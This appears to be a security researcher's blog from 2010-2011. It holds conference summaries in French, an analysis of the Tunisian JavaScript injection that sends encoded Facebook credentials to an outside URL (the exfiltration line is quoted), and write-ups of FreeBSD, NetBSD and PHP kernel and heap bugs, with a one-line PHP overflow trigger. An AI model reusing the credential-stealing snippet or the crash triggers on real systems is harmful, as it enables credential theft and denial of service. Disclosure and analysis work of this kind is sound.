Sunday, May 22, 2011

Deuxième jour dans la hackbox

Le deuxième jour de la hackbox a commencé par un débat très intéressant sur « THE ECONOMICS OF VULNERABILITIES » avec Chris Evans (Google), Aaron Portnoy (ZDI), Lucas Adamski (Mozilla) et des responsables sécu de MS, Adobe et RIM. Grâce aux questions du public et surtout celles de Don Bailey, le débat a essentiellement tourné autour des marchés noirs où des *exploits* sont achetés bien plus cher que sur le marché "légal" mis en place par les « vulnerability reward programs » de Google, Mozilla ou encore ZDI... mais comme ils l'ont bien mentionné c'est pas le même type de vente, sur le marché noir, on veut un exploit stable qui fonctionne sur le maximum de platformes tandis que chez Google, Mozilla et ZDI on veut une *bonne* description de la vulnérabilité et de son impact. Ils ont aussi dis une chose importante est que pour la plupart des chasseurs de vulns, le prestige et la reconnaissance comptent autant voir plus que les sous. Aaron a également parler de ZDI où seulement 30% des soumissions sont acceptées et que pour la plupart de celles qui sont refusées sont des « hey regardez XXX segfault quand on ouvre fuzz.html ». Une question sur VUPEN et leur « politique » de revente/buzz de 0day a aussi été posée mais Chris n'a pas répondu. :-(

La première présentation de la journée était sur les nouvelles générations d'attaques ouaib du Founder de blueinfy. L'auteur a montré tous les nouveaux vecteurs d'attaques introduits par l'arrivée de HTML5 et ses amis. Ainsi il a montré les nouveaux endroits (balise video) où on pouvait introduire du JS, les nouveaux endroits où on pouvait retrouver des données intéressantes (LocalWebStorage, WebSQL) qu'on peut récupérer en JS... Ses outils sont disponibles sur le site de sa société.

Ensuite j'ai assisté a deux présentations undergrounds sur le piratage des satellites et des réseaux 3G/4G et « ça fait peur ». Au niveau du piratage des satellites, la sécurité mise en place est une sécurité par l'obscurité essentiellement et beaucoup de points d'entrées (employés, machines de commandes) peuvent être attaqués et c'est ce qu'ils ont démontrés en montrant qu'il était possible de « pirater » un distributeur de billets qui communique par satellite. La présentation sur les réseaux 3G/4G a essentiellement tourné autour des protocoles GTP (GPRS Tunnelling Protocol) où les deux monsieurs ont montré que les devices (CISCO) qui supportent ces protocoles ne sont pas infaillibles (DoS avec un simple flood, crash après fuzzing). De plus ils ont scanné le nain ternet et ont trouvé que beaucoup beaucoup de devices (parfois méga-vieille) répondaient aux pings GTP (et même en version GTP-C, variante utilisée pour le transport de données sensibles) et que c'est mal.

Ensuite j'ai assisté au début de la présentation de l'italiano Rosario Valotta qui nous a présenté son 0day qu'il a trouvé dans toutes les versions d'IE sauf la 9. Le 0day en question est qu'un site web, en combinant différentes techniques, peut accéder au contenu des cookies stockés sur le disque dur dans Documents and Settings/user/Cookies/user@google[1].txt. Les techniques employées pour arriver à ses fins sont le fait de masquer l'iframe contenant le contenu du cookie, de faire du drag and drop jacking, l'utilisateur est deviné grâce à l'accès à un SMB share à distance (img src=\\coincoin.com\) où le nom de l'utilisateur est dévoillé dans la négociation NBT. La dernière chose à savoir pour que son exploit marche est la version du windows utilisé par la victime mais pour cela il suffit de regarder l'user-agent qu'IE annonce... Bref, un talk intéressant qui décrit de A à Z bien comment on peut arriver à ces fins avec une simple vulnérabilité à la con. Il reste encore à gérer le problème de localisation de l'OS parce que chez les frenchies les cookies sont dans C:\Utilisateurs il me semble.

Pour finir la journée et avant la keynote de fin, je suis allé voir la fin de la présentation de Guillaume Delugre sur le pwnage du firmware des NIC broadcom et ça rocks. Il a montré ce qui se passe à l'intérieur de la carte (processeur pseudoMIPS, aux mémoires auxquelles la carte a accès) , ensuite il a présenté ses 2 débuggeurs (InVivoDbg et InVitroDbg) qui utilisent Metasm (ruby). InVitro est un firmware dans QEMU qui dialogue en live avec la carte. Ensuite il a fini sa présentation par montrer ce qu'on peut faire avec tout ça comme son firmware rookité qui doit tenir en moins de 48KB de mémoire (text, stack, packet buffers). Son rookit intègre un client DHCP et un moyen d'écrire dans la mémoire du système hôte (à travers DMA). Ainsi il a montré une démo où son rootkit patche un jmp pour accéder au système avec NIC rootkité (un Windows XP) sans mot de passe. Impressive! Il est aussi en train de développer un memory dumper qui dump la mémoire du système hôte sur le réseau. On pourrait foutre un firewall la dedans, il a dit qu'il avait déjà la stack IP/UDP. ;-)

Le CTF a été remporté, haut la main, par la team française C.o.P, jéjé. ;-)

Voilà, pour ceux qui veullent plus d'info, xme a fait des meilleurs résumés que les miennes.

Labels: ,

Thursday, May 19, 2011

Premier jour dans la hackbox :)

[grosses fautes d'orthographe and co inside]

Le premier jour de la hack in the box est déjà over, j'ai pas vu la journée passer (même si elle est pas encore terminée). Premièrement l'organisation est parfaite et l'hôtel (cadre, bouffe) rocks des ours. :)

La conférence a commencé par une keynote du chief security officer de Fessebooks. Le grand monsieur a présenté une à une toutes les features « secures » qui ont été implémentées dans FB comme l'HTTPS et son forcage, question privée au hasard au login... Il a présenté les Self XSS (je ne connaissais pas le nom mais c'est bien trouvé) et comment il compte les éviter/réduire (prévention chez l'utilisateur, propagation des tips)... etc...

Ensuite j'ai décidé d'assister à la présentation sur les botnets d'un gars de FOX-IT. Elle était très bien. En gros elle ressemble à celle que j'ai faite mais en beaucoup mieux et avec surtout des vrais exemples bien plus poilus (bcp de $$$) que les miens. J'ai noté quelques noms de « botnets/threats » que je connaissais pas comme le fake site TrafficConverter.biz, le botnet Artro qui cache ses commandes dans des commentaires d'image GIF. Un truc que jamais vu aussi... un exploit kit (bomba dans son exemple) qui check presque en live si les payloads utilisés sont détectés par les AV. Funny!

Après ça, j'ai bougé mes fesses pour aller voir le talk de Claudio Criscione qui nous présente son outil nommé MetaXSSploit. Au début, beaucoup beaucoup de blabla pour raconter l'histoire de la naissance de son outil... un peu de blabla sur les XSS du genre « In a real world, XSS is a real gift for pentesters. Not just an alert() » ... puis il nous présente son outil^Wmodule metasploit qui:

- possède une base d'appli. ouaib vulnérables à des XSS (remplie grâce au parsing de bugtraq@)
- le pentester choisi l'appli. qu'il veut attaquer (gestion des GET/POST)
- il choisi le payload (un bon gros beef)
- metaxssploit génère une page de redirection automatique (forward) ou un bouton clikaconvi (enrobé de phising)
- la victime navigue sur la page et sbam, elle se fait beefer

Pas super mega sexy mais bien pratique pour les pentesters. Pas encore releasé mais ça va venir...

Ensuite après le repas de oufz0r, le gros loutrage aux stands Google, Fox-it, Qualys et zieutage du CTF (allez les C.o.P :-D)...

Présentation de « webshellng » de la devoteam... Les 2 frenchies nous ont décortiqué en long, en large et en travers les webshells écrits en PHP, JSP ou ASP... comme vous pouvez en trouver ou (thanks to my old and crappy honeypots). Ensuite ils nous ont montré leur framework qui intègre les meilleurs fonctionnalités des webshells qu'ils ont étudié. Ce framework permet de générer le shell.{php,jsp,asp} (source chiffrée avec password, ip du serveur et ip du client pour être utiliser qu'une seule fois) à balancer sur le serveur web à pwner. Une fois déployé le serveur est contrôlable à travers une interface Java (hum ça swing) par l'intermédiaire du webshell. La présentation se termine sur les possibilités d'évasion que propose leur framework. En gros ils disent que tout est chiffré pour pas se faire pwned par une signature qui match sur des patterns bien précis (cmd.exe, /etc/passwd) mais me semble avoir vu un POST avec login=crypted&cmd=crypted&bla=crypted et un User-Agent bien spécifique dans leur démo. Apparement ils sont pas près de releaser leur outil tel quel... dommage. :-(

La deuxième présentation auquelle j'ai assisté est celle d'une étudiante qui présente HOOOOWAAAAAAARDDDDDDD, un outil pour retrouver des structures dans un binaire... stripé (et oui on est à Amsterdam hein ;-)). Elle explique comment elle traque les pointeurs pour trouver des structures et les champs de ces dernières. Elle s'est beaucoup beaucoup attardée sur la méthode utilisée pour différencier une structure d'un tableau... Les résultats ont l'air pas mal mais malheureusement la démo n'a pas marché à 100% et l'outil ne sera pas releasé (décidément) #@!#@#^#!#@!

La journée s'est terminée par the talk de Monsieur HardenedP^WHardenedIOS où il a montré comment il a rajouté l'ASLR dans l'iOS < 4.3 grâce à son outil antid0te. Même si je ne toucherais probablement jamais à ça, j'ai appris pas mal de chose sur iOS. Par exemple je ne savais pas que les librairies dynamiques étaient shippés dans un gros package (dyld_shared_cache) partagé par toutes les applications. Il a ensuite montré comment son antid0te poutrait sa maman par rapport à l'ASLR implémenté par Apple dans iOS 4.3. En gros, antid0te réordonne les libs dans le package dyld_shared_cache alors qu'Apple ne le fait pas donc avec un memory leak là dedans, le pirate peut faire du matching binaire et deviner l'adresse de base où a été placés ce gros package et faire rouler son ROP trankilosse (et oui on est à Amsterdam hein). Bref, un très très bon talk même s'il a fait pleurer toute l'audience à la fin en disant que son ELEVATOR iPad2 jailbreak0r était un fake... ;-)

Next tomorrow,

Saturday, January 22, 2011

Googlecode for haxors.

I have just found on one of my honeypots that web haxors are now using Googlecode to store their PHP malwares. These malwares are injected on various websites by using RFI vulnerabilities. The most active repo is majitoz.googlecode.com. You can browse the malwares in the downloads category. Sadly, there is nothing interesting at the moment, just fucking well-known PHP/PERL malwares.

UPDATE: Google has been informed and majitoz has been taken down. Great reactivity.

Friday, January 14, 2011

Tunisia haxors...

Some people speak about the JS injected code done in Tunisia when you try to access website like gmail, facebook... They say that the credentials are sent in clear text in the evil wo0dh3ad URL but it is not totally true since there is a very small encoding like we can see in this snippet.

var url = "www.fessebook.com/wo0dh3ad?q="+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55);

us3r and pa55 are encoded using the h6h() function which is:


function h6h(st)
{
for(i=0;i<st.length;i++) {
c=st.charCodeAt(i);
ch=(c&0xF0)>>4;
cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);
}
return st2;
}


It just loops through the string, splits each 8 bits char in two numbers of 4 bits. Then it creates two new chars (chr()) by adding 97 (ord('a')) to each number and concatenates them to the encoded string which is returned and inserted in URL. A bit lame isn't it? :-)

To decode us3r and pa55 from your logs, you can use this silly (no bounds checking) python script:


[clem1@blah ~]$ cat unh6h.py
import sys
def unh6h(string):
u = ""
for i in range(0, len(string), 2):
s = ord(string[i])-97
s <<= 4
s += ord(string[i+1])-97
u += chr(s)
return u
print(unh6h(sys.argv[1]))


A quick test:


>>> h6h("password")
"hagbhdhdhhgphcge"
[clem1@blah ~]$ python unh6h.py "hagbhdhdhhgphcge"
password

Monday, December 06, 2010

Very old FreeBSD mbuf exhaustion...

This Linux exploit reminds me a bug in FreeBSD reported by me 4 years ago.

The bug resides in the IPV6_PKTOPTIONS setsockopt() code located in ip6_output.c:


int ip6_ctloutput(struct socket *so, struct sockopt *sopt)
{
(...)
switch (optname) {
case IPV6_2292PKTOPTIONS:
#ifdef IPV6_PKTOPTIONS
case IPV6_PKTOPTIONS:
#endif
{
struct mbuf *m;
error = soopt_getm(sopt, &m); /* XXX */
if (error != 0)
break;
(...)
}


soopt_getm() is called with user supplied sopt defined like this.


struct sockopt {
enum sopt_dir sopt_dir; /* is this a get or a set? */
int sopt_level; /* second arg of [gs]etsockopt */
int sopt_name; /* third arg of [gs]etsockopt */
void *sopt_val; /* fourth arg of [gs]etsockopt */
size_t sopt_valsize; /* (almost) fifth arg of [gs]etsockopt */
struct thread *sopt_td; /* calling thread or null if kernel */
};


Notice that in our case sopt_td field is not NULL. As you can see below, depending on the user supplied sopt_valsize, soopt_getm() will try to allocate a mbuf and a cluster of mbuf if sopt_valsize is greater than MLEN (~256). If there is not enough mbuf avalaible, soopt_getm() will wait infinetely until mbufs are released because sopt_td is not NULL.


int soopt_getm(struct sockopt *sopt, struct mbuf **mp)
{
struct mbuf *m, *m_prev;
int sopt_size = sopt->sopt_valsize;
MGET(m, sopt->sopt_td ? M_WAIT : M_DONTWAIT, MT_DATA);
if (m == NULL)
return ENOBUFS;
if (sopt_size > MLEN) {
MCLGET(m, sopt->sopt_td ? M_WAIT : M_DONTWAIT);
(...)
}


If you have noticed the possible integer overflow on sopt_size, stay seated because it is already checked by the callers.

To trigger this mbuf exhaution you can use this poc.


$ uname -v
FreeBSD 8.1-RELEASE
$ netstat -m
258/267/525 mbufs in use (current/cache/total)
256/134/390/4672 mbuf clusters in use (current/cache/total/max)
(...)
$ ./foo&
(...)
$ netstat -m
4547/193/4740 mbufs in use (current/cache/total)
4544/128/4672/4672 mbuf clusters in use (current/cache/total/max)


(Try an ifconfig iface down up as root and system will now be completely frozen. I guess the iface releases its mbufs when it goes down but cannot allocate new ones when it goes up because our poc has already eaten all of them, gniark)

This bug is quite funny and dangerous because it does not cause a system crash followed by a reboot like a simple kernel panic but it consumes infinitely all the available system mbufs and cause serious networking troubles. :-)

Wednesday, December 01, 2010

NetBSD Denial^WLocal root ?

Dear,

Here are some information about the vulnerability released by NetBSD.org 3 days ago.

The issue is due to the use of an uninitialized structure « allocated » on the kernel stack. It seems to affect all NetBSD stable releases since 5.0.2.

Vulnerability resides in the udp6_output() kernel function which can be triggered from userland by a single sendmsg() call on a basic UDP6 socket. Here is the buggy code:

int udp6_output(..., struct mbuf *addr6, struct mbuf *control, ...)
{
(...)
struct ip6_pktopts *optp, opt; [0]
(... nothing is done on opt ...)
if (addr6) {
if (addr6->m_len != sizeof(*sin6)) {
error = EINVAL;
goto release; [1]
}
sin6 = mtod(addr6, struct sockaddr_in6 *);
if (sin6->sin6_family != AF_INET6) {
error = EAFNOSUPPORT;
goto release; [2]
}
(...)
}
(...)
if (control) {
if ((error = ip6_setpktopts(control, &opt, in6p->in6p_outputopts, priv, IPPROTO_UDP)) != 0) [3]
goto release;
optp = &opt;
}
(...)
release:
m_freem(m);
releaseopt:
if (control) {
ip6_clearpktopts(&opt, -1); [4]
m_freem(control);
}
}

At [0] we have an opt ip6_pktopts structure declarated on the kernel stack. This structure is initialized/filled in [3] by ip6_setpktopts() and cleared in the releaseopt label [4] by a call to ip6_clearpktopts(). Unfortunately this label can be achieved before initialization at [1] or [2] if udp6_output() is called with a bad addr6 (msg_name field of the msghdr struct) for example. If it is the case, ip6_clearpktopts() will try to free uninitialized pointers and/or to remove routes from linked lists. Here is the most interesting parts of ip6_clearpktopts().

void ip6_clearpktopts(struct ip6_pktopts *pktopt, int optname)
{
if (optname == -1 || optname == IPV6_PKTINFO) {
if (pktopt->ip6po_pktinfo)
free(pktopt->ip6po_pktinfo, M_IP6OPT);
(...)
if (optname == -1 || optname == IPV6_RTHDR) {
if (pktopt->ip6po_rhinfo.ip6po_rhi_rthdr)
free(pktopt->ip6po_rhinfo.ip6po_rhi_rthdr, M_IP6OPT);
rtcache_free(&pktopt->ip6po_route);
}
(...)
}


Exploitation of this security issue can result in a kernel panic by using this simple proof of concept. I am currently trying to gain root priv. through this vulnerability by using some evil mmap()s at fixed address to trick the rtcache_free() to write a NULL at an user controlled address but it's not yet reliable. More information about this soon. ;-)

PS: I have just received this book and it really rocks. \o/

PS2: Phrack #67 rocks too, I loved the quotes on the glibc code in the « A Eulogy for Format Strings paper ». Grep for alloca() in glibc and enjoy. \o/

Saturday, May 29, 2010

PHP mhash_keygen_s2k() 64 bits bug.

Hi folks,

Since it's the month of PHP security, I've tried to run my old PHP fucking fuzzer against the new versions of PHP and I've found an interesting security bug on 64 bits arch. Here it is.

The bug is located in function zif_mhash_keygen_s2k() in ext/hash/hash.c where we have :

740 PHP_FUNCTION(mhash_keygen_s2k)
741 {
742 long algorithm, bytes; [0]
751 if (bytes <= 0){ [1]
752 php_error_docref(NULL TSRMLS_CC, E_WARNING, "the byte parameter must be greater than 0");
753 RETURN_FALSE;
754 }
(...)
796 ZVAL_STRINGL(z, key, bytes, 1); [2]

ZVAL_STRINGL macro code is :

544 #define ZVAL_STRINGL(z, s, l, duplicate) { \
545 const char *__s=(s); int __l=l; \ [3]
547 Z_STRVAL_P(z) = (duplicate?estrndup(__s, __l):(char*)__s);\

estrndup() is defined in Zend/zend_alloc.c :

2490 ZEND_API char *_estrndup(const char *s, uint length ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC) {
2493 p = (char *) _emalloc(length+1 ZEND_FILE_LINE_RELAY_CC [4]
(...)
2497 memcpy(p, s, length); [5]


At [0] we have the variable bytes declared as long. This variable is filled with the last parameter of the mhash_keygen_s2k() PHP function. At [1] we are checking if this variable is less or equal to 0 which is not permitted. On 64 bits, long is 64 bits so we can pass 0x00000000FFFFFFFF (-1 value of a 32 bits integer) and check is passed.

On [2] we call ZVAL_STRINGL(), this macro casts [3] the bytes variable as an int, so at this moment __l is equal to -1. Then [4] estrndup() is called which does a malloc(__l + 1) which is malloc(0) in our case and permitted. Then we have [5] a call to memcpy() to copy __l bytes into the freshly 0 malloc'ed buffer and sbing heap overflow occurs. :-)

To reproduce this overflow, we can use this script :

<?php mhash_keygen_s2k(1, "coin", 867673168, 4294967295); ?>

Code execution seems possible from different code paths. Also, key is indirectly controlled by the user. Unfortunately I currently have no time to play with it and to confirm this. Geeeeeeeez... :-(

PHP security folks have fixed this vulnerability by switching bytes type from long to int.

Others possible vulnerabilities, not found during the MoPS, are currently under analyze, more info soon. ;-)